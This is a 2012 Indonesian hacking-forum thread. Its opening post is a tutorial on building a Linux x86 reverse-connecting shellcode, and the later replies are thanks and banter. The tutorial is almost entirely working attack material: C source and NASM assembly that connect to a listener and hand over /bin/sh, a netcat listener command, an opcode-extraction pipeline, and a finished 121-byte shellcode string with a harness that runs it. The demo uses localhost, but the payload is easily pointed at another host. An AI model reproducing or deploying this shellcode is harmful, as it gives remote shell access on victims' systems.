Devilzc0de Forum Follow @devilzc0de
  • Home
  • Hacking
  • Networking
  • Programming
  • O.S
  • Server
  • Tweets
  • Search
  • Member List
  • Calendar
Current time: 05-23-2013, 05:03 PM Hello There, Guest! (Login — Register)
Devilzc0de Forum › Information Technology › Programming › C / C++ v
1 2 3 4 5 ... 15 Next »

[Tutor] membuat reverse connecting shellcode (pesanan papa schumbag)

Home General Computer Multimedia Business Lounge

Pages (2): 1 2 Next »
Post Reply 
Tweet
Threaded Mode | Linear Mode
Tutor membuat reverse connecting shellcode (pesanan papa schumbag)
02-04-2012, 12:27 PM (This post was last modified: 02-04-2012 12:29 PM by ack_attack.)
Post: #1
ack_attack Offline
adiknya syn-attack
Posts: 27
Joined: Feb 2012
Reputation: 13
membuat reverse connecting shellcode (pesanan papa schumbag)
Dipersembahkan khusus untuk : papa schumbag (maaf papa, aku agak jarang online di YM, jadi aku tulis tutornya di DC dech)....

perkenalkan kakak, nama aku ack_attack...
nah, sebagai tanda perkenalan diri aku, ini ada sedikit tutorial yang mungkin bisa membantu...
kali ini tutorial tentang cara membuat reverse connecting shellcode..

1. Q : Apakah "reverse connecting shellcode" itu?
A : Reverse connecting shellcode adalah shellcode yang kali ini berperan sebagai client dan sang attacker menyiapkan sebuah server yang siap dihubungi di address dan port tertentu. Misal IP address punya attacker adalah 127.0.0.1 dan port 27155 dan IP komputer target adalah 127.0.0.1 (hanya simulasi dalam 1 komputer).

Figure 1.0 : Programnya dalam bahasa C
Code:
#include <stdio.h>
#include <string.h>
#include <sys/socket.h>
#include <netinet/in.h>

int main(void) {
    int sock;
    int conn;
    struct sockaddr_in addr;
    char *trigger[2];

    /*
     * AF_INET bernilai 2
     * SOCK_STREAM bernilai 0
     * IPPROTO_TCP bernilai 1
     */
    sock = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP);
    if (sock < 0) {
        errno = EINVAL;
        perror("socket");
        return -EINVAL;
    }

    memset(&addr, 0, sizeof(addr));
    addr.sin_family = AF_INET;
    addr.sin_addr.s_addr = 0x0100007f; // (127.0.0.1 dalam bentuk little endian)
    addr.sin_port = 0x136a; //(27155 dalam bentuk network byte order)

    conn = connect(sock, (struct sockaddr *)&addr, sizeof(addr));
    /* catatan : sizeof(addr) bernilai 16 */
    if (conn < 0) {
        errno = ECONNREFUSED;
        perror("connect");
        return -ECONNREFUSED;
    }

    dup2(sock, STDIN_FILENO);
    dup2(sock, STDOUT_FILENO);
    dup2(sock, STDERR_FILENO);

    /*
     * STDIN_FILENO bernilai 0
     * STDOUT_FILENO bernilai 1
     * STDERR_FILENO bernilai 2
     */

    trigger[0] = "/bin/sh";
    trigger[1] = NULL;
    execve(trigger[0], trigger, NULL);

    close(sock);

    return (0);
}

Figure 1.1 : siapkan sebuah server untuk mendengar koneksi yang masuk (listening incoming connection)
Code:
syn-attack@war-machine:~/shellcode$ nc -vvv -l 27155

Figure 1.2 : di lain terminal (ingat : simulasi serangan ini dalam 1 komputer) compile dan jalankan programnya
Code:
syn-attack@war-machine:~/shellcode$ gcc -o revconn revconn.c
syn-attack@war-machine:~/shellcode$ ./revconn

Figure 1.3 : kembali di terminal yang tadi, apabila koneksi berhasil, muncul tulisan seperti di bawah ini
Code:
syn-attack@war-machine:~/shellcode$ nc -vvv -l 27155
Connection from 127.0.0.1 port 27155 [tcp/*] accepted
id
uid=1000(syn-attack) gid=1000(syn-attack) groups=24(cdrom) 1000(syn-attack)

Nah, sekarang kita akan membuat program tadi dalam bahasa assembly, sebelum kita mulai membuat kodenya, ada beberapa catatan di bawah yang perlu diperhatikan :

1. tentang nilai register "ebx"
- ebx : 1 for socket()
- ebx : 2 for bind()
- ebx : 3 for connect()
- ebx : 4 for listen()
- ebx : 5 for accept()

2. tentang menghindari null-bytes dalam proses "push" alamat IP
sekilas kita bisa menuliskan sebagai berikut :
Code:
push dword 0x0100007f
sudah terlihat di atas bahwa nanti apabila program assembly kita sudah jadi dan kita ingin "mengekstrak" opcodenya akan ada 2 buah karakter null-terminating bytes yang akan mengakhiri eksekusi payload kita (\x00 dan \x00)

maka aku akan mengganti instruksinya sebagai berikut :
Code:
mov    dl, byte 0x01
shl    dx, 0x8
mov    cl, 0x7f
shl    cx, 8
shr    cx, 8
penjelasannya sebagai berikut :

1. pisahkan alamat IP tersebut dalam 2 bagian :
0100 dan 007f

2. agar register dx bernilai 256 (0x0100 = 256), pindahkan saja nilai 0x01 ke register dl, dan geser nilainya ke kiri (shift left) sebanyak 8 bit, dan pindahkan nilainya ke register dx, jadi register dx sekarang bernilai 0x0100

3. agar register cx bernilai 127 (0x007f = 127), pindahkan saja nilai 0x7f ke register cl, dan geser nilainya ke kiri (shift left) sebanyak 8 bit, dan pindahkan nilainya ke register cx, sekarang register cx bernilai 0x7f00 (0x7f00 = 32512). nah, agar register cx kembali ke nilai 0x007f, geser 0x7f00 ke kanan (shift right) sebanyak 8 bit.

Figure 1.4 : Program reverse connecting dalam bahasa assembly
Code:
BITS 32

section .text

global _start

_start :

    xor    eax, eax
    xor    ebx, ebx
    push    eax
    push    byte 0x01
    push    byte 0x02
    mov    ecx, esp
    inc    bl
    mov    al, 0x66
    int    0x80

    mov    esi, eax

    xor    edx, edx
    xor    ecx, ecx
    mov    dl, byte 0x01
    shl    dx, 0x8
    mov    cl, 0x7f
    shl    cx, 8
    shr    cx, 8
    push    dx
    push    cx
    push    word 0x136a
    xor    edx, edx
    mov    dl, byte 0x2
    push    dx
    mov    ecx, esp
    push    byte 0x10
    push    ecx
    push    esi
    mov    ecx, esp
    mov    bl, byte 0x3
    mov    al, 0x66
    int    0x80

    mov    ebx, esi

    xor    ecx, ecx
    mov    al, 0x3f
    int    0x80

    inc    ecx
    mov    al, 0x3f
    int    0x80

    inc    ecx
    mov    al, 0x3f
    int    0x80

    xor    eax, eax
    sub    esp, byte 0x1
    mov    [esp], al
    push    dword 0x68732f6e
    push    word 0x6962
    sub    esp, byte 0x1
    mov    byte[esp], 0x2f
    mov    ebx, esp
    push    eax
    push    ebx
    mov    al, byte 0x0b
    mov    ecx, esp
    xor    edx, edx
    int    0x80

Figure 1.5 : Compile dan ekstrak opcodenya
Code:
syn-attack@war-machine:~/shellcode$ nasm -f elf elf_reverse.asm
syn-attack@war-machine:~/shellcode$ objdump -d elf_reverse.o | grep -v 'file'|cut -f2 -d:|cut -f1-6 -d' '|tr -s ' '|tr '\t' ' '|sed 's/ $//g'|sed 's/ /\\x/g'|paste -d '' -s |sed 's/^/"/'|sed 's/$/"/g'

Figure 1.6 : Hasil shellcode final
Code:
/*
* 121 bytes connectback into 127.0.0.1 (localhost.localdomain) GNU/Linux shellcode
*
* Author : Paulus Gandung Prakosa (syn1988@sdf.lonestar.org)
*
* [!] Usage :
* 1. Step 1 : Prepare the "fake" server
* syn-attack@war-machine:~/shellcode$ nc -vvv -l 27155
*
* 2. Step 2 : In other terminal shell, run this program
* syn-attack@war-machine:~/shellcode$ ./x86_local_connectback
*
* 3. Step 3 : Back into previous terminal, if success, it show the report like this :
* syn-attack@war-machine:~/shellcode$ nc -vvv -l 27155
* Connection from 127.0.0.1 port 27155 [tcp/*] accepted
* whoami
* syn-attack
*/

#include <stdio.h>
#include <string.h>

char *x86_local_connectback = "\x31\xc0\x31\xdb\x50\x6a\x01\x6a\x02\x89"
                                              "\xe1\xfe\xc3\xb0\x66\xcd\x80\x89\xc6\x31"
                                  "\xd2\x31\xc9\xb2\x01\x66\xc1\xe2\x08\xb1"
                                  "\x7f\x66\xc1\xe1\x08\x66\xc1\xe9\x08\x66"
                                  "\x52\x66\x51\x66\x68\x6a\x13\x31\xd2\xb2"
                                  "\x02\x66\x52\x89\xe1\x6a\x10\x51\x56\x89"
                                  "\xe1\xb3\x03\xb0\x66\xcd\x80\x89\xf3\x31"
                                  "\xc9\xb0\x3f\xcd\x80\x41\xb0\x3f\xcd\x80"
                                  "\x41\xb0\x3f\xcd\x80\x31\xc0\x83\xec\x01"
                                  "\x88\x04\x24\x68\x6e\x2f\x73\x68\x66\x68"
                                  "\x62\x69\x83\xec\x01\xc6\x04\x24\x2f\x89"
                                  "\xe3\x50\x53\xb0\x0b\x89\xe1\x31\xd2\xcd"
                                  "\x80";

int main(void) {
    int len = strlen(x86_local_connectback);
    printf("[*] Length of this shellcode is : %d bytes\n", len);
    (*(void(*)())x86_local_connectback)();

    return (0);
}

Demikianlah kakak atas perkenalanku dan tutorial sederhana ini, semoga berguna kakak..... wawa
Find all posts by this user
Quote this message in a reply
 Reputed by :  hipokrit(+1) , tabun(+1) , ketek(+1) , thedexwan(+1) , ditatompel(+1) , alessandra(+1)
02-04-2012, 12:37 PM
Post: #2
CitooZz Offline
./pemburu kimblak
**
Moderators
Posts: 1,299
Joined: Jun 2011
Reputation: 22
RE: membuat reverse connecting shellcode (pesanan papa schumbag)
ijin arsipin dlu kk bwt bahan belajar
Find all posts by this user
Quote this message in a reply
02-04-2012, 12:39 PM
Post: #3
ack_attack Offline
adiknya syn-attack
Posts: 27
Joined: Feb 2012
Reputation: 13
RE: membuat reverse connecting shellcode (pesanan papa schumbag)
CitooZz Banditozz ~# silahkan kakak.... ^_^
Find all posts by this user
Quote this message in a reply
02-04-2012, 01:14 PM
Post: #4
tabun Offline
./Junk3r C4d3t
Posts: 1,785
Joined: Dec 2011
Reputation: 33
RE: membuat reverse connecting shellcode (pesanan papa schumbag)
mantap... smangat
ane baru tau klo omz ack_attack anaknya omz cakil.. terkejut
Find all posts by this user
Quote this message in a reply
02-04-2012, 01:19 PM
Post: #5
ack_attack Offline
adiknya syn-attack
Posts: 27
Joined: Feb 2012
Reputation: 13
RE: membuat reverse connecting shellcode (pesanan papa schumbag)
kakak tabun ~# wkwkwkwkwkwkwk ngakak
Find all posts by this user
Quote this message in a reply
02-04-2012, 01:31 PM
Post: #6
MataSapi Offline
./Devilz Officer
Posts: 60
Joined: Feb 2012
Reputation: 3
RE: membuat reverse connecting shellcode (pesanan papa schumbag)
ijin Bookmark dulu om....
tgu jaringan bagus ngakak
Find all posts by this user
Quote this message in a reply
02-04-2012, 04:30 PM (This post was last modified: 02-04-2012 04:31 PM by ketek.)
Post: #7
ketek Offline
bocah ingusan
*******
Administrators
Posts: 2,174
Joined: Jan 2010
Reputation: 372
RE: membuat reverse connecting shellcode (pesanan papa schumbag)
wahh,, om ack_attack berarti ni sodaranya om syn_attack yah hah



bentar lagi nongol fin_attack pasrah

mantap om tutornya belajar belajar
Find all posts by this user
Quote this message in a reply
02-04-2012, 05:30 PM
Post: #8
ditatompel Offline
Administrator
*******
Administrators
Posts: 2,168
Joined: Dec 2010
Reputation: 367
RE: membuat reverse connecting shellcode (pesanan papa schumbag)
Wah mantep bgt om... Ane Arsipin dulu buat belajar... smangat
Find all posts by this user
Quote this message in a reply
02-04-2012, 05:48 PM
Post: #9
badwolves1986 [RJ] Offline
Staf Registrasi DIC
RJ
Posts: 2,881
Joined: Oct 2010
Reputation: 91
RE: membuat reverse connecting shellcode (pesanan papa schumbag)
wwaww lengkap ane arsipin dulu bg buat bahan belajar ketawa
Find all posts by this user
Quote this message in a reply
03-22-2012, 11:59 AM
Post: #10
alessandra Offline
i'm so lonely broken angel
Posts: 196
Joined: Feb 2012
Reputation: 41
RE: membuat reverse connecting shellcode (pesanan papa schumbag)
keren parah mantap gilak
ajarin gw dong mimisan
Find all posts by this user
Quote this message in a reply
« Next Oldest | Next Newest »
Pages (2): 1 2 Next »
Post Reply 


Topic Tools
Topic Link :
BBCode :
HTML Code :
View a Printable Version Send Thread to a Friend Subscribe to this thread
Submit Google Submit Face book Submit to Digg Submit to Reddit Submit to Furl Submit to Del.icio.us Submit to Jeqq

Possibly Related Threads...
Thread: Author Replies: Views: Last Post
  [Solved] Membuat Animasi 2D openGL artop 2 172 11-10-2012 04:06 PM
Last Post: artop
Rainbow [Tutor] membuat project pada visual studio c++ qball006_error 7 175 11-04-2012 02:17 PM
Last Post: qball006_error
  membuat aplikasi DosTool oktori yusan 11 488 09-18-2012 04:05 PM
Last Post: oktori yusan
  [Tutor] membuat jendela/window atau form awal TOR 4 445 03-30-2012 02:07 AM
Last Post: noe
  Membuat Flash disk anda menjadi Hardware Keylogger armytheludher 42 10,157 03-21-2012 06:52 AM
Last Post: BLooD_KeBenCiaN
  Cara Membuat Program Hello World di C mywisdom 14 5,360 01-07-2012 04:46 PM
Last Post: CyberKaze
  73 bytes sys_execve("/usr/bin/ftp", "sdf.lonestar.org", NULL) polymorphic shellcode syn_attack 7 764 10-25-2011 03:13 AM
Last Post: syn_attack
  46 bytes execve("/bin//df", "/bin//df", NULL) polymorphic shellcode syn_attack 17 1,729 10-21-2011 10:27 AM
Last Post: syn_attack
  pesanan paket lebaran qball006_error 0 361 05-22-2011 11:26 PM
Last Post: qball006_error
  script membuat game qball006_error 3 1,228 05-22-2011 02:44 PM
Last Post: chaer.newbie

Users Browsing
1 Guest(s)

  • Contact Us
  • devilzc0de
  • Return to Top
  • Mobile Version
  • RSS Syndication
  • Help
Current time: 05-23-2013, 05:03 PM Powered By MyBB, © 2002-2013 MyBB Group. Theme created by Justin S. | Mixed By Chaer.Newbie | Fixed By Aditya

USING THIS SITE INDICATES THAT YOU HAVE READ AND ACCEPT OUR TERMS. IF YOU DO NOT ACCEPT THESE TERMS, YOU ARE NOT AUTHORIZED TO USE THIS SITE